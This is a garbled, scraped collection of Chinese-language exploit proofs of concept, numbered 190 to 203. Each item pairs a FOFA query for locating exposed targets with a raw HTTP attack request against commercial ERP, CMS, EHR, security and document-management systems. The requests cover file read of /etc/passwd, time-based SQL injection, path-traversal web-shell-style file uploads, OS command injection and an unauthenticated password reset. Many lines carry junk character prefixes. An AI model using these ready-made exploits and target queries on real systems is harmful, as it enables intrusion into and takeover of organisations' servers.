Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" d$ j' c4 w7 e) vAccept-Language: zh-CN,zh;q=0.9
2 Z7 v( H/ E/ v$ `  R" c  K& MConnection: close
( [: C: p. b3 U

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 E% h' a" H" f& e5 d. X0 sFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
6 z& U4 C6 D- t  D2 N* |1 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. ~* e; b8 Q# r8 ]0 ~7 VContent-Type: application/x-www-form-urlencoded
) B: Q( A( @- }+ v: t! \Accept-Encoding: gzip, deflate
2 H9 O" l7 I; [! a. h' r6 l1 Q2 |Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
# D- v' m" }* X# YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ }+ C0 e& c2 P9 fContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
( n) Q( n3 k* \: n5 T5 F+ y2 B
0 w1 J& H" T6 a& q
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( w4 X0 O0 Q( s) o) a8 \0 V. }FOFA：title="用户登录_富通天下外贸ERP"
+ n: D6 R0 W! {POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
9 O% j) n' m2 L# t$ R8 RHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 a9 ~: r$ {, |; I2 H7 J* u- cContent-Type: application/x-www-form-urlencoded
% P6 X3 \4 J4 q1 \  o6 n( h! a
+ O" [: W8 {0 b/ v0 X
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
$ G4 _& ?# o& u  Kpublic class AverageHandler : IHttpHandler
, h5 T: L" D2 v( a{
' R' \+ f$ k( t. L" O) ipublic bool IsReusable
{ get { return true; } }
/ q' U, Q  ]5 t) G! Opublic void ProcessRequest(HttpContext ctx)
{
4 A% H5 \/ a7 e& l' b" b( ?ctx.Response.Write("test");
6 ]( l) M! H! B% h; \2 N! r! r' c0 ]4 J}
( J( C9 ^, z9 C4 o7 K$ F}

' u7 o$ F1 m, s' H2 v- a0 @2 O
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
# P7 V7 {. K( [4 _4 C. k5 xCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
# b( ?* d( g7 X4 u& EUser-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
  v2 B0 y& Q8 |" o$ P2 A8 {User-Agent: Mozilla/5.0
' @- F- f& h& u7 @Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
' m8 f8 e2 v" t5 j; e/ `! r" ~Cookie: PHPSESSID=2333333333333;
0 S& L8 n0 ]7 H0 {/ `Content-Type: application/x-www-form-urlencoded
Content-Length: 84

. C9 d; u1 \5 v2 cparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

! }4 X/ h' X1 x: W* z7 a
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
2 [  X0 Q" U! x1 u. D) GFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
4 `+ z2 ?- U2 L0 @* j+ P7 q
POST /servlet/uploadAttachmentServlet HTTP/1.1
! v9 c, I/ _. ]4 ~Host: host
  O* Q4 Z3 f% ~: \$ j$ L: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
" r7 d; j, `) n" T) D  t9 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 y7 _( X" M( Y7 lAccept-Encoding: gzip, deflate
; U" a8 Y# r9 Q" Z* EConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
: _1 R1 `) a7 C! B! y
0 Z  @' i0 F6 {9 k: R1 uContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
8 N8 I! u% a& J3 `) _5 i1 O<% out.println("hello");%>
* @# [9 j0 j8 O. R4 o: r: `------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
2 l: J8 t, Q8 x. X5 W( C------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

' z7 P9 m% g; L
  U9 A  ~* w, ^( x195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
* @- {+ p# P4 r3 x, iFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
' B" u- F& }% r9 ]) IHost: 127.0.0.1
4 Y5 F; H; ^+ d* PPragma: no-cache
3 E; ?/ `# j1 D; Q9 V* \Cache-Control: no-cache
9 {' |5 c8 j. K/ AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
/ Y( ~. @5 }# ?; P# U4 z7 DAccept-Encoding: gzip, deflate
' _) c5 G: j/ m  M6 lAccept-Language: zh-CN,zh;q=0.9
2 B: Z) y( ?! _3 \9 \2 H1 f2 R  fConnection: close
* P# Z0 c, r, ]* B& J1 cContent-Type: application/x-www-form-urlencoded
& W, Y8 r9 `7 j4 O, ?Content-Length: 68
# S# l5 K5 X# |) T3 j
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


# X5 m6 w4 K* p# A2 ?6 s196. 河南省风速科技统一认证平台密码重置
3 A; x! L" f2 K/ a$ r. I. RFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
7 D  A$ Y3 L$ v# U, R" GPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ q. b( P0 R3 m2 H0 T$ r. i" YContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
( Q1 M7 a) }- x6 X, k3 MAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
+ c1 w6 g' T3 |$ CContent-Length: 45
: Y% ^; Z: E6 O# o# A( a, [% w3 gConnection: close

7 B5 `/ T1 j# v* X3 s% ?0 B{"xgh":"test","newPass":"test666","email":""}

' G: i) g  E1 A

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
, v- ]: I% D5 n0 \! b2 fFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
; w+ _$ g: ?4 U* f. C6 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
6 J7 X! z5 t: c  @% aAccept-Encoding: gzip, deflate
Connection: close



198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
8 n% r( P1 A# a# Q3 GGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
. [/ |) w) _8 kCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
6 E8 r2 F+ L% VAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
: z. p/ W: I" P6 MConnection: close


199. cockpit系统assetsmanager_upload接口 文件上传
/ `7 G: n- y7 a$ ]0 b: C& d
0 ^( [+ M: y  ~* D7 C. p* p2 Z% `1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
( C+ y2 t% N6 I( D, IGET /auth/login?to=/ HTTP/1.1
+ r* F4 H0 l$ I, g2 X* C
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
% R/ R! V9 n' {% S0 Y) I& U* B
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
3 y& J) Y5 V2 nContent-Type: application/json

8 S. L5 A+ `5 Q9 o+ U{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

" c7 r& @9 P! P  h# v% G/ V5 z* L响应：200，返回值:
' \7 k+ M: I& R% f: l4 vSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
' k: Y1 J- s4 p8 k' bContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
! ]1 b: m1 r! ?) K, r9 UContent-Disposition: form-data; name="files[]"; filename="tttt.php"
/ E: }" o- k! I1 M/ L( cContent-Type: text/php

% h+ E% y3 F9 p! {<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

# t/ @6 {/ H: k; Y) |-----------------------------36D28FBc36bd6feE7Fb3--

, ~! R- \* E% g9 l
/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
. O+ ~, Z. @1 L6 u9 jGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
, [9 u: c# A0 b  ?7 HCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
4 y0 ]; r9 H( _% s! oUpgrade-Insecure-Requests: 1
. |+ ?* H' ]& VCache-Control: max-age=0
  @9 X' V) d  k) `! R$ p, ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% o) {( t) h6 r: ?( |4 Q, W' gAccept-Encoding: gzip, deflate
. F% d" p/ F- xAccept-Language: zh-CN,zh;q=0.9
0 v/ f& u; I, \& ^/ x' c: c) Z
- p3 F& D/ q8 q% G
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
# h9 ^' b" a% I# HPOST /newsedit/newsplan/task/binary.do HTTP/1.1
4 w" o1 h5 {  Z% {. ~" uContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! T  }; G# l; OAccept-Encoding: gzip, deflate
% h  z7 x* J* ]' I. zAccept-Language: zh-CN,zh;q=0.9
0 L) \2 Y( t& B. O1 NConnection: close
2 O5 I3 O) A3 D1 z8 t3 M3 \; k
! ?( a/ _! z' _6 F5 r7 E: YTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

$ v5 t9 {+ E& I* D/ C% @$ h
' S2 X0 d; b! g202. 微擎系统 AccountEdit任意文件上传
3 h" X7 r( c; `( `# cFOFA：body="/Widgets/WidgetCollection/"
1 }1 j. P' T: t获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

# _3 G$ H3 o; Z: L$ G! V
% [  l' G$ e$ b' f1 h+ |替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
3 T- E( {& u0 k! q6 K
0 k; V0 q# B# N-----------------------------786435874t38587593865736587346567358735687
; F1 u5 T$ ?2 i0 I' d" {2 ?) _Content-Disposition: form-data; name="__VIEWSTATE"

) }& ^) k7 q2 t" B$ a__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

4 [  n# ?) z* E) y, G* O__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
. b' \" B6 j9 }8 M7 X! ?2 hContent-Type: text/plain
5 ]) Y# r8 M- o8 u; V" Z
9 v3 |% [- Q" X7 \Hello World!
-----------------------------786435874t38587593865736587346567358735687
/ X/ y! Q  G! ]5 H( SContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

: A  l- ~" H! W& B  h1 b上传图片
-----------------------------786435874t38587593865736587346567358735687
+ x3 X- u$ q& U+ I9 s4 g& V) wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
' T  m8 i. \/ C' t3 q: C1 B  Z. l3 c
$ x; |0 w+ N4 |4 R% K, W' H
-----------------------------786435874t38587593865736587346567358735687
$ ]( M! t! M0 tContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
+ r3 e1 t3 ]  m
* A& O; ^; ~! ?
-----------------------------786435874t38587593865736587346567358735687--
/ x1 k) U, j7 |7 R- D7 }
3 w! b9 L1 Q0 m% j' J0 q3 [
4 c1 Q" _4 O0 b% W7 `/_data/Uploads/1123.txt

8 u% {" x& ?* c! c203. 红海云EHR PtFjk 文件上传
0 ^! i: K* P+ n! d2 V0 j* J: iFOFA：body="RedseaPlatform"
/ B- a( @# s; B9 ~' k1 H% RPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
, H# z7 g; K8 B8 F. qContent-Length: 210

0 v! V8 R" @. @, e# I. M; @6 [+ d' h. L------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
) d4 e! p- ?/ J3 I# o  Y1 Z) M0 n4 m------WebKitFormBoundaryt7WbDl1tXogoZys4--
9 @; S- `, X! }3 a. l' e8 a- }& p
7 R& e) j5 j& b: t3 s9 a% ]& `. ~

, q2 V8 Y# M" J
. ]8 Y& c) }: c( x0 K( ]; R, m

8 \; n- A8 R& Q4 p( E